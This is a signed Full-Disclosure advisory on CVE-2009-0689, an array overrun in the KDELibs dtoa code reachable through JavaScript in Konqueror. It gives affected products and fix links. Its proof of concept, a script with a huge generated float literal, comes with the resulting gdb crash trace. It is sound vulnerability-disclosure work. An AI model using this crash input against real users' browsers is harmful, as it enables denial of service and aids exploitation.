-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 [ KDE KDELibs 4.3.3 Remote Array Overrun (Arbitrary code execution) ] Author: Maksymilian Arciemowicz and sp3x http://SecurityReason.com Date: - - Dis.: 07.05.2009 - - Pub.: 20.11.2009 CVE: CVE-2009-0689 Risk: High Remote: Yes Affected Software: - - KDELibs 4.3.3 NOTE: Prior versions may also be affected. Original URL: http://securityreason.com/achievement_securityalert/74 - --- 0.Description --- KDELibs is a collection of libraries built on top of Qt that provides frameworks and functionality for developers of KDE-compatible software. The KDELibs libraries are licensed under LGPL. - --- 1. KDE KDELibs 4.3.2 Remote Array Overrun (Arbitrary code execution) --- The main problem exist in dtoa implementation. KDE has a very similar dtoa algorithm to the BSD, Chrome and Mozilla products. Problem exist in dtoa.cpp file http://websvn.kde.org/tags/KDE/4.3.3/kdelibs/kjs/dtoa.cpp?revision=1042584&view=markup and it is the same like SREASONRES:20090625. http://securityreason.com/achievement_securityalert/63 but fix for SREASONRES:20090625, used by openbsd was not good. More information about fix for openbsd and similars SREASONRES:20091030, http://securityreason.com/achievement_securityalert/69 We can create any number of float, which will overwrite the memory. In Kmax has defined 15. Functions in dtoa, don't checks Kmax limit, and it is possible to call 16<= elements of freelist array. - --- 2. Proof of Concept (PoC) --- - ----------------------- <script> var a=0.<?php echo str_repeat("9",299999); ?>; </script> - ----------------------- If we use konqueror to see this PoC, konqueror will crash. For example - ----------------------- <script> var a=0.<?php echo str_repeat("1",296450); ?>; </script> - ----------------------- Program received signal SIGSEGV, Segmentation fault. [Switching to process 24845, thread 0x7e6e6800] 0x090985c3 in diff () from /usr/local/lib/libkjs.so.5.0 0x06db85c3 <diff+163>: mov %esi,(%ecx) #0 0x090985c3 in diff () from /usr/local/lib/libkjs.so.5.0 #1 0x0909901b in kjs_strtod () from /usr/local/lib/libkjs.so.5.0 #2 0x090738e5 in KJS::Lexer::lex () from /usr/local/lib/libkjs.so.5.0 #3 0x0907300c in kjsyylex () from /usr/local/lib/libkjs.so.5.0 #4 0x09072f86 in kjsyyparse () from /usr/local/lib/libkjs.so.5.0 #5 0x090805cf in KJS::Parser::parse () from /usr/local/lib/libkjs.so.5.0 #6 0x0908337f in KJS::InterpreterImp::evaluate () (gdb) i r eax 0x0 0 ecx 0x220ff000 571469824 edx 0x0 0 ebx 0x220fbb00 571456256 esp 0xcfbc04e0 0xcfbc04e0 ebp 0xcfbc0518 0xcfbc0518 esi 0xc71c71c7 -954437177 edi 0x0 0 eip 0x21415c3 0x21415c3 esi=0x71c71c7 - --- 3. SecurityReason Note --- Officialy SREASONRES:20090625 has been detected in: - - OpenBSD - - NetBSD - - FreeBSD - - MacOSX - - Google Chrome - - Mozilla Firefox - - Mozilla Seamonkey - - KDE (example: konqueror) - - Opera - - K-Meleon This list is not yet closed. US-CERT declared that will inform all vendors about this issue, however, they did not do it. Even greater confusion caused new CVE number "CVE-2009-1563". Secunia has informed that this vulnerability was only detected in Mozilla Firefox, but nobody was aware that the problem affects other products like ( KDE, Chrome ) and it is based on "CVE-2009-0689". After some time Mozilla Foundation Security Advisory ("http://www.mozilla.org/security/announce/2009/mfsa2009-59.html") was updated with note : "The underlying flaw in the dtoa routines used by Mozilla appears to be essentially the same as that reported against the libc gdtoa routine by Maksymilian Arciemowicz ( CVE-2009-0689)". This fact ( new CVE number for Firefox Vulnerability )and PoC in javascript (from Secunia), forced us to official notification all other vendors. We publish all the individual advisories, to formally show all vulnerable software and to avoid wrong CVE number. We do not see any other way to fix this issue in all products. - --- 4. Fix --- NetBSD fix (optimal): http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gdtoa/gdtoaimp.h OpenBSD fix: http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/sum.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorx.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtord.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorQ.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtof.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodg.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtod.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/smisc.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/misc.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/hdtoa.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/gethex.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/gdtoa.h http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/dtoa.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/dmisc.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdio/vfprintf.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/arch/vax/gdtoa/strtof.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorxL.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorf.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtordd.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopxL.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopx.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopf.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopdd.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopd.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopQ.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodnrp.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodI.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIxL.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIx.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIg.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIf.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIdd.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoId.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIQ.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/qnan.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_xfmt.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_xLfmt.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_ffmt.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_dfmt.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_ddfmt.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g__fmt.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_Qfmt.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/arithchk.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdlib/gcvt.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdlib/ecvt.c - --- 5. Credits --- Discovered by Maksymilian Arciemowicz and sp3x from SecurityReason.com. - --- 6. Greets --- Infospec p_e_a pi3 - --- 7. Contact --- Email: - - cxib {a.t] securityreason [d0t} com - - sp3x {a.t] securityreason [d0t} com GPG: - - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg - - http://securityreason.com/key/sp3x.gpg http://securityreason.com/ http://securityreason.pl/ -----BEGIN PGP SIGNATURE----- iEYEARECAAYFAksF4lEACgkQpiCeOKaYa9ZD+ACfSoaEiTeQrFDgtcHgOckyXMom TE4AoJW3meP7KP6Xb7KNErVlsluLUO8E =jTmp -----END PGP SIGNATURE----- _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/